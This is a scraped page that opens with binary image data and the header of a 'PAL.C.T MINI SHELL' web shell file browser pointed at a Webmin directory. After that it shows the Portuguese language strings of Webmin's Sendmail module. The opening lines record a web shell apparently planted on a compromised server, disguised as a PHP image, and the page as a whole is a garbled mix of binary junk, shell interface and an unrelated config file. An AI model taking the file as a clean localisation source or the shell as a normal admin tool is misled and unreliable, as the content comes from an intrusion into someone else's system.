php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/pt_BR

index_title=Servidor de E-mail Sendmail
index_econfig=O arquivo de configuração $1 do sendmail não existe. Talvez o Sendmail não esteja instalado ou a <a href='$2'> configuração do módulo</a> esteja incorreta.
index_eversion=Seu arquivo de configuração do sendmail não parece ser da última versão do sendmail. O Webmin somente suporta versões 8.8 e acima.
index_epath=O executável do sendmail $1 não está instalado no seu sistema. Talvez sua <a href='$2'>configuração do módulo</a> esteja incorreta, ou o sendmail não esteja instalado.
index_return=configuração do sendmail
index_stop=Parar Sendmail
index_stopmsg=Clique neste botão para parar o processo do sendmail em execução. Isto irá parar o e-mail e impedir que seja entregue para usuários locais de outros sistemas, e prevenir clientes que estejam usando este sistema como servidor de envio de e-mail.
index_start=Iniciar Sendmail
index_startmsg=Clique neste botão para inciar o sendmail como o comando $1. Até que esteja completo, o e-mail não será entregável para usuários locais e para outros sistemas e clientes não estarão habilitados a utilizá-lo como servidor de e-mail.
index_version2=Sendmail versão $1, configuração $2
index_xversion=Sendmail versão $1
index_version=Sendmail configuração $1
index_sendmail=Sendmail

opts_title=Opções do Sendmail
opts_ecannot=Você não está autorizado a editar as opções do sendmail
opts_ds=Enviar e-mail de saída via host
opts_direct=Entregar diretamente
opts_dr=Encaminhar nomes de usuários não qualificados para host
opts_dh=Encaminhar e-mail para usuários locais para host
opts_local=Entregar localmente
opts_queuela=Máximo de carga para envio
opts_refusela=Máximo de carga para recebimento
opts_maxch=Máximo de processos filho
opts_throttle=Máximo de conexões / segundo
opts_minqueueage=Tempo mínimo antes de tentar enviar novamente
opts_runsize=Tamanho máximo da requisição
opts_queuereturn=Tempo antes de obter mais
opts_queuewarn=Tempo antes de enviar aviso
opts_queue=Diretório de requisição de e-mail
opts_postmaster=Enviar mensagens de erros para
opts_forward=Arquivos encaminhados do usuário
opts_minfree=Mínimo de espaço livre no disco
opts_maxmessage=Máximo de espaço livre no disco
opts_loglevel=Nível de registro
opts_mimebounce=Rejeitar mensagens MIME-encode?
opts_default=Padrão
opts_save=Salvar e Aplicar
opts_err=Falhou ao salvar opções
opts_ehost='$1' não é um host válido ou nome de domínio
opts_einvalid='$1' não é um valor válido para '$2'
opts_blame=Opções de segurança do arquivo
opts_selected=Selecionado..
opts_blocks=bloqueios
opts_bytes=bytes
opts_dmode=Modo de entrega
opts_background=Segundo plano
opts_queue-only=Somente requisição
opts_interactive=Interativo
opts_deferred=Deferido
opts_gecos=Aceitar e-mail de nome real de usuários?
opts_hops=Máximo de conta de e-mail
opts_daemon=Opções de porta SMTP
opts_maxbad=Máximo de recipientes ruins
opts_maxrcpt=Máximo de recipientes por mensagem
opts_below=Inseridos abaixo ..
opts_qso=Ordenar requisição de e-mail por
opts_priority=Prioridade
opts_host=Nome do Computador
opts_time=Tempo de recebido

aliases_title=Alias do e-mail
aliases_ecannot=Você não está autorizado a editar alias
aliases_enofile=Nenhum alias de arquivo está definido na sua configuração do Sendmail
aliases_addr=Endereço
aliases_to=Alias para..
aliases_type1=Endereço $1
aliases_type2=Endereços no arquivo $1
aliases_type3=Arquivo $1
aliases_type4=Programa $1
aliases_type5=Arquivo de resposta automática $1
aliases_type6=Aplicar arquivo de filtro $1
aliases_none=Nenhum
aliases_return=lista de alias
aliases_toomany=Há muitos alias de e-mail no seu sistema para exibir nesta página.
aliases_go=Encontrar correspondência de alias
aliases_delete=Apagar Alias Selecionados

aform_ecannot=Você não está autorizado a editar este alias
aform_type0=Nenhum
aform_type1=Endereço de E-mail
aform_type2=Endereços no arquivo
aform_type3=Gravar arquivo
aform_type4=Alimentar programa
aform_type5=Resposta automática de arquivo
aform_type6=Aplicar arquivo de configuração
aform_edit=Editar Alias
aform_create=Criar Alias
aform_name=Endereço
aform_enabled=Habilitado?
aform_file=Adicionar para o arquivo de aliases
aform_val=Alias para
aform_afile=Editar..
aform_return=alias
aform_cmt=Descrição

afile_title=Editar Arquivo de Endereço
afile_desc=Usar a área de texto abaixo para editar o endereço no arquivo $1
afile_efile=Você não está autorizado a editar $1
afile_undo=Desfazer Alterações
afile_ewrite=Falhou ao gravar no arquivo de endereços : $1

ffile_title=Editar Arquivo de Filtro
ffile_desc=Usar este formulário abaixo para definir regras de filtros no arquivo $1.
ffile_efile=Você não está autorizado a editar $1.
ffile_line=Se o campo $1 $2 $3 então encaminhar para $4
ffile_from=de
ffile_to=para
ffile_subject=assunto
ffile_cc=CC
ffile_body=corpo
ffile_what0=não corresponde
ffile_what1=corresponde
ffile_other=Caso contrário, encaminhar para $1
ffile_err=Falhou ao salvar arquivo de filtro

ffile_ematch=Correspondência faltando
ffile_eaction=Endereços de encaminhamento faltando

rfile_title=Editar Arquivo de Resposta Automática
rfile_desc=Usar a área de texto abaixo para editar a mensagem de resposta automática em $1. A mensagem pode conter as macros $SUBJECT, $FROM, $TO, $DATE e $BODY que irá ser expandida quando a resposta automática estiver ativada.
rfile_desc2=Você pode também definir os cabeçalhos dos e-mail para adicionar ou substituir os padrões utilizados:<br><tt>De: foo@bar.com</tt><br><tt>Assunt: No feriado</tt><br>no tpo da mensagem, separado do corpo por uma simples linha em branco.
rfile_efile=Você não está autorizado a editar $1.
rfile_undo=Desfazer Alterações
rfile_replies=Rastrear respostas para prevenir loops de e-mail?
rfile_none=Não
rfile_file=Sim, usando o arquivo de registro
rfile_period=Intervalo mínimo entre respostas
rfile_default=Padrão (1 hora)
rfile_secs=segundos
rfile_ereplies=Arquivo de registro de rastreamento de resposta faltando
rfile_eperiod=Número de segundos entre respostas inválido ou faltando
rfile_no_autoreply=Não enviar respostas automáticas para
rfile_no_regexp=Não enviar respostas automáticas para mensagem correspondentes com expressões regulares
rfile_from=De: endereço para resposta
rfile_auto=Automático (baseado em endereços de recipientes)
rfile_efrom=De: endereço faltando
rfile_fromdesc=De: endereço deve sempre ser especificado onde possível, como um método automático deve ser confiável

asave_err=Falhou ao salvar alias
asave_ecannot2=Você não está autorizado a editar alias
asave_ecannot=Você não está autorizado a editar este alias
asave_emax=Você não está autorizado a criar mais que $1 aliases
asave_eaddr='$1' não é um endereço válido
asave_ealready=Um alias para '$1' já existe
asave_ematch=Você não está autorizado a criar alias correspondente '$1'
asave_etype=Você não pode criar alias deste tipo
asave_etype1='$1' não é um endereço de e-mail válido
asave_etype2=Arquivo de endereços '$1' não é válido ou não existe mais
asave_etype3='$1' não é um nome de arquivo válido
asave_etype4='$1' não é um programa válido ou não existe
asave_etype5=Arquivo de resposta automática '$1' não é válido
asave_etype4none=Nenhum programa fornecido
asave_etype6=Arquivo de filtro '$1' não é válido
asave_esame=Você não está autorizado a criar um alias com o mesmo nome que o de login do webmin

adelete_err=Falhou ao apagar alias
adelete_enone=Nenhum selecionado
adelete_ecannot=Você não está autorizado a apagar o alias $1

cws_title=Domínios Locais
cws_ecannot=Você não está autorizado a editar domínios locais
cws_domains=Domínios manipulados por este servidor
cws_desc1=Além de e-mail para $1, o sendmail só aceitará a entrega de correio local para domínios e hosts listados na caixa de texto abaixo. Se você quiser que o seu servidor de e-mail lide com vários domínios de e-mail, todas elas devem ser relacionadas no formulário.
cws_desc2=Note que incluindo meramente o domínio na lista não é o suficiente. Você deve também ter certeza que um registro DNS para domínio exista, e aponte para o seu sistema.
cws_err=Falhou ao salvar domínios locais
cws_ehost='$1' não é um host válido ou nome de domínio
cws_eip='$1' não é um endereço IP ou um domínio

masq_title=Mascaramento de Domínio
masq_ecannot=Você não está autorizado a configurar o mascaramento
masq_domain=Máscara como domínio
masq_domains=Domínios a serem mascarados
masq_ndomains=Domínios que não serão mascarados
masq_desc1=Se um domínio for dado acima, o sendmail irá alterar o endereço <tt>Para</tt> de todas as mensagem de saída para aparecerem vir do domínio. Na condição de que qualquer mensagem de e-mail passando através de seu sistema para um dos hosts ou domínios listados abaixo irão também ter o seu endereço <tt>Para</tt> modificado da mesma forma. Note que qualquer domínio mascarado definido aqui pode ser sobrescrito por usuários específicos usando a página de <a href='$1'>Endereço de Saída</a>.
masq_desc2=Este recurso pode ser útil se você deseja que os e-mails para o seu sistema pareçam ter vindo do seu nome de domínio e não do seu nome de computador, ou se o seu sistema for o comutador de e-mail para outros hosts executando seus próprios servidores de e-mail.
masq_err=Falhou ao salvar mascaramento de e-mail
masq_edomain='$1' não é um domínio válido para ser mascarado como
masq_ehost='$1' não é um host válido ou nome de domínio
masq_eip='$1' não é um endereço IP e não um domínio

trusts_title=Usuários Confiáveis
trusts_ecannot=Você não está autorizado a editar os usuários confiáveis
trusts_users=Usuários locais confiáveis do sendmail
trusts_desc=Se um usuário local tentar enviar e-mail, o sendmail irá somente permitir o usuário de prover um endereço <tt>De:</tt> diferente se o usuário estiver na lista abaixo. Esta restrição existe para prevenir usuários de forjar um e-mail com um endereço de origem <tt>De:</tt> falso do seu sistema.
trusts_err=Falhou ao salvar usuários confiáveis
trusts_euser='$1' não é um usuário válido

virtusers_title=Mapeamento de Endereços
virtusers_ecannot=Você não está autorizado a editar os mapeamentos de endereços
virtusers_efeature=Sua configuração do sendmail não possui o recurso de mapeamento de endereço (<tt>virtuser</tt>) habilitado. <a href='$1'>Clique aqui</a> para instalar o recurso do sendmail.
virtusers_efile=O arquivo de texto $1 da qual a base de dados de mapeamento de endereço $2 é construída não existe. Talvez você precise modificar o <a href='$3'>configuração do módulo</a> para usar o caminho correto.
virtusers_createfile=Ou se este recurso foi habilitado, <a href='$1'>Clique aqui</a> para criar o arquivo.
virtusers_desc1=O mapeamento de endereço é similar ao <a href='$1'>alias</a>, embora mais adequados para um sistema que manipula múltiplos e-mail de domínios. Eles podem ser utilizados para redirecionar e-mail de um domínio completo para um endereço, manipular usuários com o mesmo nome em diferentes domínios ou mapear todos os e-mails de um domínio para outro.
virtusers_desc2=Note que você deve possuir uma entrada na tabela de <a href='$1'>domínios locais</a>, para qualquer domínio usado para mapeamento de endereços, e estes devem ser um registro DNS MX para cada apontamento de domínio para o  seu sistema.
virtusers_for=E-mail para..
virtusers_to=Enviar para..
virtusers_error=Erro $1
virtusers_domain=Domínio $1
virtusers_address=Endereço $1
virtusers_cmt=Descrição
virtusers_return=lista de mapeamento de endereço
virtusers_toomany=Há muitos mapeamentos de endereços no seu sistema para exibir nesta página.
virtusers_go=Localizar correspondência de mapeamentos de endereço:
virtusers_delete=Apagar Mapeamentos de Endereços Selecionados

vform_edit=Editar Mapeamento de Endereço
vform_create=Criar Mapeamento de Endereço
vform_for=E-mail para
vform_address=Endereço
vform_domain=Domínio
vform_to=Enviar para
vform_msg=mensagem
vform_error=Mensagem de erro
vform_cmt=Descrição
vform_err_nouser=Nenhum usuário
vform_err_nohost=Nenhum host
vform_err_unavailable=Indisponível
vform_err_tempfail=Falha temporária
vform_err_protocol=Erro de protocolo
vform_end=Mover para fim
vform_ecannot=Você não está autorizado a editar este mapeamento de endereço

vsave_ecannot=Você não está autorizado a editar mapeamentos de endereço
vsave_ecannot2=Você não está autorizado a editar este mapeamento de endereço
vsave_emax=Você não está autorizado a criar mais que $1 mapeamentos de endereço
vsave_err=Falhou ao salvar mapeamento de endereço
vsave_efrom='$1' não é um endereço válido
vsave_efromdup=O mapeamento de endereço para '$1' já está definido
vsave_edom='$1' não é um domínio válido
vsave_edomdup=O mapeamento de endereço para '$1' já está definido
vsave_ematch=O endereço fonte não corresponde '$1'
vsave_esame=Você não está autorizado a criar mapeamentos de endereço para o seu nome de usuário
vsave_ecannot3=Você não está autorizado a criar mapeamentos para endereços
vsave_eaddr='$1' não é um endereço válido
vsave_ecannot4=Você não está autorizado a criar mapeamentos para domínios
vsave_edomdom=Somente um domínio pode ser mapeado para outro domínio
vsave_ecannot5=Você não está autorizado a criar mapeamentos que retornem um erro.

vdelete_err=Falhou ao apagar mapeamentos de endereço
vdelete_ecannot=Você não está autorizado a apagar o mapeamento para $1

mailers_title=Roteamento de Domínio
mailers_cannot=Você não está autorizado a editar o roteamento de domínio
mailers_edirective=Sua configuração do sendmail não possui a diretiva necessária para roteamento de domínio.
mailers_efeature=Sua configuração do sendmail não possui o recurso de roteamento de domínio (<tt>mailertable</tt>) habilitado. <a href='$1'>Clique aqui</a> para instalar o recurso do sendmail.
mailers_efile=O arquivo de texto $1 da qual a base de dados de mapeamento de endereço $2 é construída não existe. Talvez você precise modificar o <a href='$3'>configuração do módulo</a> para utilizar o caminho correto.
mailers_desc1=O roteamento de domínio provê um caminho para definir métodos de transferência especial de e-mail para certos domínios. Isto pode ser útil se o seu sistema é um gateway para servidores de e-mail que não podem ser vistos fora da sua rede, ou se você deseja forçar todos os e-mail de um domínio particular a ser roteado através de outro servidor.
mailers_desc2=Você <b>não</b> deve possuir uma entrada na lista de <a href='$1'>domínios locais</a> para quaisquer domínios roteados. De toda forma, você deve possuir um registro DNS MX apontando para o seu sistema para qualquer domínio da qual ele seja o gateway.
mailers_desc3=Você deve também possuir uma entrada na lista de <a href='$1'>domínios relacionados</a> para cada domínio.
mailers_for=E-mail para..
mailers_delivery=Entrega
mailers_to=Enviar para..
mailers_return=lista de roteamento de domínio
mailers_delete=Apagar as Rotas de Domínios Selecionadas

mform_edit=Editar Roteamento
mform_create=Criar Roteamento
mform_for=E-mail para
mform_host2=Host ou domínio
mform_domain2=Todos os hosts no domínio
mform_domain3=Domínio e todos os seus hosts
mform_delivery=Entrega
mform_to=Enviar para
mform_ignore=Ignorar MX para entrega SMTP
mform_smtp=SMTP
mform_esmtp=SMTP Estendido
mform_smtp8=SMTP 8-bit
mform_relay=SMTP relacionado
mform_local=Usuário local
mform_prog=Alimentar programa
mform_uucp=UUCp
mform_usenet=Post para USENET
mform_fax=HylaFAX
mform_pop=POP3
mform_procmail=Procmail
mform_mail11=DECnet mail11
mform_error=Erro $1
mform_ecannot=Você não está autorizado a editar roteamento de domínios

msave_ecannot=Você não está autorizado a editar roteamento de domínios
msave_err=Falhou ao salvar roteamento de domínio
msave_edomain='$1' não é um host válido ou domínio
msave_edup=O roteamento de domínio para '$1' já está definido

mdelete_err=Falhou ao apagar roteador de domínio
mdelete_ecannot=Você não está autorizado a apagar o roteador para $1

generics_title=Endereços de Saída
generics_cannot=Você não está autorizado a editar endereços de saída
generics_econfig=Seu arquivo de configuração do sendmail não possui a diretiva necessária para mapeamento de endereços se saída
generics_efeature=Sua configuração do sendmail não possui o recurso de mapeamento de endereço de saída (<tt>generics</tt>) habilitado. <a href='$1'>Clique aqui</a> para instalar o recurso do sendmail.
generics_efile=O arquivo de texto $1 da qual a base de dados de endereço de saída $2 é construída não existe. Talvez você precise modificar a <a href='$3'>configuração do módulo</a> para usar o caminho correto.
generics_desc1=Mapeamento de endereços de saída permitem modificar o endereço <tt>De:</tt> dos e-mail enviados do seu sistema, ou através do seu sistema por outros hosts na sua rede local. Isto pode ser útil se você possui múltiplos domínios em um sistema e deseja que alguns e-mail pareçam ter vindo de um domínio diferente.
generics_desc2=Note que você deve possuir uma entrada na tabela de <a href='$1'>domínios de saída</a>, para cada domínio que use endereços de saída que você quer que sejam usados. Note também que mapeamento de endereços de saída não funcionam para e-mails sendo entregues para usuários locais
generics_from=E-mail para..
generics_to=Alterar para..
generics_return=lista de mapeamento de endereço
generics_toomany=Há muitos endereços de saída no seu sistema para exibir nesta página.
generics_go=Localizar correspondência de endereços de saída:
generics_delete=Apagar Endereços De Saída Selecionados

gform_edit=Editar Mapeamento
gform_create=Criar Mapeamento
gform_from=E-mail para
gform_to=Alterar para
gform_ecannot=Você não está autorizado a editar este endereço de saída

gsave_ecannot=Você não está autorizado a editar endereços de saída
gsave_ecannot2=Você não está autorizado a editar este endereço de saída
gsave_ecannot3=Você não está autorizado a salvar este endereço de saída
gsave_err=Falhou ao salvar endereço de saída
gsave_efrom='$1' não é um endereço de saída válido
gsave_ematch=O endereço de não corresponde '$1'
gsave_eto='$1' não é um novo endereço válido
gsave_ealready=Um mapeamento de endereço de saída para '$1' já existe

gdelete_err=Falhou ao apagar mapeamentos de endereço de saída
gdelete_ecannot=Você não está autorizado a apagar o mapeamento para $1

cgs_title=Domínios de saída
cgs_ecannot=Você não está autorizado a editar domínios de saída
cgs_header=Domínios de endereço de saída
cgs_desc=Separados dos e-mails enviados por usuários locais, o sendmail irá somente executar mapeamento do <a href='$1'>endereço de saída</a> para e-mails dos hosts ou domínios listados na caixa de texto abaixo. Deste modo, para uma entrada de endereço de saída funcionar no endereço, ele deve ser incluído na lista.
cgs_err=Falhou ao salvar domínios de saída
cgs_ehost='$1' não é um host ou nome de domínio válido
cgs_eip='$1' é um endereço IP, não um domínio

domains_title=Mapeamento de domínio
domains_ecannot=Você não está autorizado a editar mapeamentos de domínio
domains_econfig=Seu arquivo de configuração do sendmail não possui a diretiva necessária para roteamento de domínio.
domains_efeature=Sua configuração do sendmail não possui o recurso de mapeamento de domínio (<tt>domaintable</tt>) habilitado. <a href='$1'>Clique aqui</a> para instalar o recurso do sendmail.
domains_efile=O arquivo de texto $1 da qual a base de dados de mapeamento de domínio $2 é construída não existe. Talvez você precise modificar a <a href='$3'>configuração do módulo</a> para usar o caminho correto.
domains_desc=O mapeamento de domínio modifica o endereço <tt>Para:</tt> de mensagens enviadas, relacionadas através ou entregues para usuários no seu sistema. O endereço <tt>De:</tt> relacionado a mensagens ou mensagens para usuários locais. Isto pode ser útil se o seu nome de domínio mudar, e você quiser alterar todas as ocorrências de um domínio velho para um novo.
domains_from=De domínio..
domains_to=Para domínio..
domains_return=Lista de mapeamento de domínio
domains_delete=Apagar Mapeamentos de Domínio Selecionados

dform_edit=Editar Mapeamento
dform_create=Criar Mapeamento
dform_from=De domínio
dform_to=Para domínio
dform_ecannot=Você não está autorizado a editar mapeamentos de domínio

dsave_ecannot=Você não está autorizado a editar mapeamentos de domínio
dsave_err=Falhou ao salvar mapeamentos de domínio
dsave_edomain='$1' não é um nome de domínio válido
dsave_ealready=Um mapeamentos de domínio para '$1' já existe

ddelete_err=Falhou ao apagar mapeamentos de domínio
ddelete_ecannot=Você não está autorizado a apagar o mapeamento para $1

access_title=Controle de Spam
access_ecannot=Você não está autorizado a configurar o controle de spam
access_efeature=Sua configuração do sendmail não possui o recurso de controle de spam (<tt>acess_db</tt>) habilitado. <a href='$1'>Clique aqui</a> para instalar o recurso do sendmail.
access_efile=O arquivo de texto $1 da qual a base de dados de controle de spam $2 é construída não existe. Talvez você precise modificar a <a href='$3'>configuração do módulo</a> para usar o caminho correto.
access_desc1=O recurso de controle de spam do sendmail ajuda na prevenção do spam, impedindo que eles alcancem seus usuários, rejeitando e-mail de certos endereços, além de prevenir spammers a usar o seu sistema para distribuir mensagens. Por padrão, o sendmail irá aceitar e-mail de qualquer endereço para usuários locais, mas irá prevenir qualquer cliente ou servidor de e-mail de entregar e-mail através do seu sistema. Tipicamente, você irá adicionar regras de spam para rejeitar e-mail de spammers e regras para permitir outras máquinas na sua rede para transmitir e-mail através do seu sistema.
access_desc2=Note que o sendmail irá por padrão permitir cliente de e-mail rodando no seu sistema para transmitir mensagens via SMTP para qualquer destino. Desta forma, não é necessário adicionar a rede local <tt>127.0.0</tt> na lista de transmissão permitida.
access_source=Fonte..
access_action=Ação..
access_return=lista de controle de spam
access_toomany=Há muitas regras de controle de spam no seu sistema para exibir nesta página.
access_go=Localizar correspondência de regras de controle de spam:
access_delete=Apagar Regras de Spam Selecionadas

sform_edit=Editar Regra de Controle de Spam
sform_create=Criar Regra de Controle de Spam
sform_source=Fonte do e-mail
sform_type0=Endereço de e-mail
sform_type1=Rede
sform_type2=Usuário
sform_type3=Domínio
sform_tag=Correspondência
sform_tag_=Tudo
sform_tag_from=De: endereço
sform_tag_to=Para: endereço
sform_tag_connect=Informação da conexão
sform_tag_spam=Informação de Spam
sform_action=Ação
sform_ok=Aceitando
sform_relay=Permitir transmissão
sform_reject=Rejeitar
sform_discard=Descartar silenciosamente
sform_err=Código de erro
sform_msg=Mensagem
sform_ecannot=Você não está autorizado a editar esta regra de controle de spam

ssave_err=Falhou ao salvar regra de controle de spam
ssave_etype0='$1' não é um endereço válido
ssave_etype1='$1' não é um endereço de rede válido
ssave_etype2='$1' não é um nome de usuário válido
ssave_etype3='$1' não é um domínio válido
ssave_ecode='$1' não é um código de erro SMTP válido
ssave_ealready=Uma regra de controle de spam para '$1' já existe
ssave_ecannot2=Você não está autorizado a salvar esta regra de controle de spam

sdelete_err=Falhou ao apagar regras de controle de spam
sdelete_ecannot=Você não está autorizado a apagar a regra para $1

relay_title=Transmissão de Domínios
relay_ecannot=Você não está autorizado a editar a transmissão de domínios
relay_eversion=Somente o sendmail versões 8.9 ou superior suporta o recurso de transmissão de domínio.
relay_domains=Domínios para qual a transmissão é permitida
relay_desc1=Exceto os permitidos pelas regras de <a href='$1'>controle de spam</a>, o sendmail somente irá permitir transmissão listadas na caixa de texto abaixo. E-mails de chegada que não são para usuários locais ou para um dos domínios listados abaixo serão rejeitados.
relay_desc2=Se o seu sistema está servindo de gateway para domínios que não estão diretamente acessíveis do lado de fora da sua rede (usando o recurso de <a href='$1'>controle de spam</a>), então todos estes domínios devem ser listados aqui.
relay_err=Falhou ao salvar transmissão de domínios
relay_edomain='$1' não é um nome de domínio válido

mailq_title=Fila de E-mail
mailq_count='$1' mensagens
mailq_ecannot=Você não está autorizado a ver a fila de e-mail
mailq_id=ID do e-mail
mailq_sent=Enviado
mailq_from=De
mailq_to=Para
mailq_size=Tamanho
mailq_status=Status
mailq_cc=Cc
mailq_subject=Assunto
mailq_dir=Diretório
mailq_unknown=Desconhecido
mailq_sending=Enviando
mailq_dmsg=Para visualizar a mensagem da fila de e-mail, clique na sua ID na lista acima.
mailq_force=Para forçar a entrega imediata da lista de e-mail, <a href='$1'>clique aqui</a>.
mailq_none=Nenhuma mensagem de e-mail está atualmente na fila para entrega
mailq_delete=Apagar mensagens selecionadas
mailq_locked=Nivelar se travado
mailq_return=fila de e-mail
mailq_flush=Descarregar Fila de E-mail
mailq_flushsel=Descarregar Mensagens Selecionadas
mailq_flushdesc=Clique neste botão para forçar a entrega imediata de todas as mensagens na fila e exibir os resultados.
mailq_flushquar=Descarregar Fila de Quarentena
mailq_flushquardesc=Clique neste botão para forçar a entrega imediata de todas as mensagens na fila e exibir os resultados.
mailq_search=Encontrar fila de mensagens aqui
mailq_quar=Quarentena

flushq_title=Descarregar Fila
flushq_desc=Forçando a tentativa de entrega de todas as mensagens com o comando $1 ..
flushq_desc2=Forçando a tentativa de entrega de $1 mensagens selecionadas ..
flushq_ecannot=Você não está autorizado a descarregar a fila de e-mail

searchq_title=Resultado da Busca de Fila
searchq_none=Nenhuma mensagem na fila encontrada.

delq_err=Falhou ao apagar mensagem
delq_ecannot=Você não está autorizado a desenfileirar mensagens
delq_locked=O arquivo está atualmente travado para envio
delq_enone=Nenhuma mensagem selecionada para apagar
delq_titles=Apagando Mensagens
delq_file=Apagando arquivo de e-mail $1 ..
delq_efile=nome de arquivo inválido!
delq_egone=já entregue ou apagado
delq_elocked=travado para envio
delq_ok=apagado ok
delq_title=Apagar Mensagem
delq_force=Forçar exclusão de toda forma
delq_ecannot2=você não pode apagar esta mensagem
delq_rusure=Você tem certeza que deseja apagar $1 mensagens selecionadas na fila?
delq_confirm=Apagar Mensagens

boxes_title=Caixas de correio do Usuário
boxes_user=Usuário
boxes_size=Tamanho da caixa de correio
boxes_none=Sem e-mail
boxes_return=caixas de correio
boxes_sent=Enviar e-mail
boxes_ecannot=Você não está autorizado a ler e-mail
boxes_toomany=Há muitos usuários no seu sistema para listar todas as suas caixas de correiro.
boxes_go=Visualizar e-mail do usuário:

mail_title=E-mail do Usuário
mail_from=De
mail_date=Data
mail_subject=Assunto
mail_to=Para
mail_cc=Cc
mail_bcc=Cco
mail_pri=Prioridade
mail_highest=Urgente
mail_high=Alta
mail_normal=Normal
mail_low=Baixa
mail_lowest=Muito baixa
mail_for=Em $1
mail_for2=Para usuário $1
mail_sent=Na lista de e-mail de enviados
mail_size=Tamanho
mail_delete=Apagar
mail_compose=Compor
mail_return=caixa de correio do usuário
mail_pos=Mensagens $1 para $2 de $3
mail_none=Esta caixa de correio não possui mensagem
mail_euserexists=Este usuário do Unix não existe
mail_ecannot=Você não está autorizado a ler este e-mail do usuário
mail_all=Selecionar todos
mail_invert=Inverter seleção
mail_search=Encontrar mensagens aqui
mail_body=Corpo
mail_match=corresponde
mail_ok=Busca
mail_nonefrom=Nenhum
mail_mark=Marcar como:
mail_mark0=Não lido
mail_mark1=Lido
mail_mark2=Especial
mail_forward=Encaminhar
mail_move=Mover para:
mail_copy=Copiar para:
mail_rfc=Para linha
mail_eexists=A mensagem não existe mais!

view_title=Ler E-mail
view_desc=Mensagem $1 em $2
view_desc2=Mensagem $1 para usuário $2
view_desc3=Mensagem $1
view_sent=Mensagem $1 na lista de e-mails enviados
view_qdesc=Requisição da mensagem $1
view_headers=Cabeçalho do e-mail
view_body=Texto da mensagem
view_allheaders=Ver todos os cabeçalhos
view_noheaders=Ver cabeçalhos básicos
view_attach=Anexos
view_reply=Responder
view_reply2=Responder para todos
view_enew=Editar como nova
view_forward=Encaminhar
view_delete=Apagar
view_flush=Descarregar
view_print=Imprimir
view_strip=Remover Anexos
view_ecannot=Você não está autorizado a ler este e-mail do usuário
view_mark=Marcar mensagem como:
view_mark0=Não lido
view_mark1=Lido
view_mark2=Especial
view_return=E-mail original
view_sub=E-mail Anexado
view_egone=Este e-mail não existe mais

compose_title=Compor E-mail
reply_title=Responder para E-mail
forward_title=Encaminhar E-mail
enew_title=Editar E-mail
reply_headers=Cabeçalho de e-mail
reply_attach=Anexos encaminhados
reply_mailforward=Mensagens encaminhadas
reply_attach2=Anexos do cliente e do server-side
reply_send=Enviar E-mail
reply_ecannot=Você não está autorizado a enviar e-mail como este usuário
reply_body=Mensagem de texto

send_err=Falhou ao enviar e-mail
send_eto=Faltando endereço Para
send_efrom=Faltando endereço De
send_title=E-mail Enviado
send_ok=E-mail enviado com sucesso para $1
send_ecannot=Você não está autorizado a enviar e-mail como este usuário
send_esmtp=Comando SMTP $1 falhou : $2
send_efile=Arquivo $1 anexado não existe
send_eattach=Os anexos não podem possuir mais que $1 kB de tamanho.
send_eperms=O usuário $1 não pode ler $2
send_eperms2=Você não está autorizado a enviar arquivo $2
send_epath=O executável do Sendmail não existe.

delete_title=Apagar E-mail
delete_rusure=Você tem certeza que deseja apagar $1 mensagens selecionadas de $2? Isto pode demorar algum tempo para arquivos de e-mail grande. Até que tenha terminado, nenhuma outra ação deve ser realizada.
delete_rusure2=Você tem certeza que deseja apagar a mensagem $1? Isto pode demorar algum tempo para arquivo de e-mail grande. Até que tenha terminado, nenhuma outra ação deve ser realizada.
delete_ok=Apagar Agora
delete_ecannot=Você não está autorizado a apagar e-mail deste usuário
delete_enone=Nenhum e-mail selecionado para apagar
delete_emnone=Nenhum e-mail selecionado para marcar
delete_efnone=Nenhum e-mail selecionado para encaminhar
delete_emoveuser=O usuário para mover e-mail não existe
delete_emovecannot=Você não está autorizado a mover e-mail para um usuário especificado
delete_emovenone=Nenhum e-mail selecionado para mover
delete_nobutton=Nenhum botão clicado

search_title=Resultados da Busca
search_ecannot=Você não está autorizado a buscar e-mails deste usuário
search_ematch=Você deve inserir texto para encontrar correspondência.
search_efield=Você deve selecionar um tipo de busca.
search_ewhat=Nenhum texto para correspondência inserido para linha $1
search_enone=Nenhum critério de busca inserido
search_none=Nenhuma mensagem encontrada.
search_results2=$1 mensagens de e-mail correspondente $2 ..
search_results3=$1 mensagens de e-mail não correspondente $2 ..
search_results4=$1 mensagens de e-mail correspondentes com a sua busca ..
search_local=Nas pastas locais
search_all=Em todas as pastas
search_eboolean=Buscas boleanas usando ambos 'and' e 'or' não são suportados

file_title=Editar Arquivo do Sendmail
file_desc=Usar a área de texto abaixo para editar a manualmente o arquivo do Sendmail $1.
file_undo=Desfazer Alterações
file_edit=Editar manualmente $1
file_ealiases=Você somente pode editar um arquivo de alias se você tiver acesso para todos os aliases.
file_evirtusers=Você somente pode editar os mapeamentos de endereço se você tiver acesso para todos os mapeamentos de endereço.
file_emailers=Você não está autorizado a editar o arquivo de rotas de domínio.
file_egenerics=Você somente pode editar o arquivo de endereços de saída se você tiver acesso a todos os endereços de saída.
file_edomains=Você não está autorizado a editar o arquivo de mapeamento de domínio.
file_eaccess=Você não está autorizado a editar o arquivo de controle de spam.
file_ecannot=Você não está autorizado a editar este arquivo
file_emode=Modo desconhecido!
file_err=Falhou ao editar arquivo
acl_opts=Pode editar opções do sendmail?
acl_ports=Pode editar portas da rede?
acl_cws=Pode editar domínios locais?
acl_masq=Pode configurar mascaramento de domínios?
acl_trusts=Pode editar usuários confiáveis?
acl_cgs=Pode editar domínios de saída?
acl_relay=Pode editar revezamento de domínio?
acl_mailers=Pode configurar rotas de domínio?
acl_access=Pode configurar controle de spam?
acl_domains=Pode configurar mapeamento de domínio?
acl_stop=Pode iniciar e parar o sendmail?
acl_manual=Pode editar editar arquivos manualmente?
acl_flushq=Pode descarregar a fila de e-mail?
acl_mailq=Pode gerenciar a fila de e-mail?
acl_viewdel=Ver e apagar
acl_view=Somente ver
acl_vcatchall=Pode criar mapeamentos catchall?
acl_qdoms=Endereços visíveis na fila
acl_qdomsmode=Endereços da fila para correspondência
acl_qdomsmode0=De: endereço
acl_qdomsmode1=Para: endereço
acl_qdomsmode2=Ou endereço
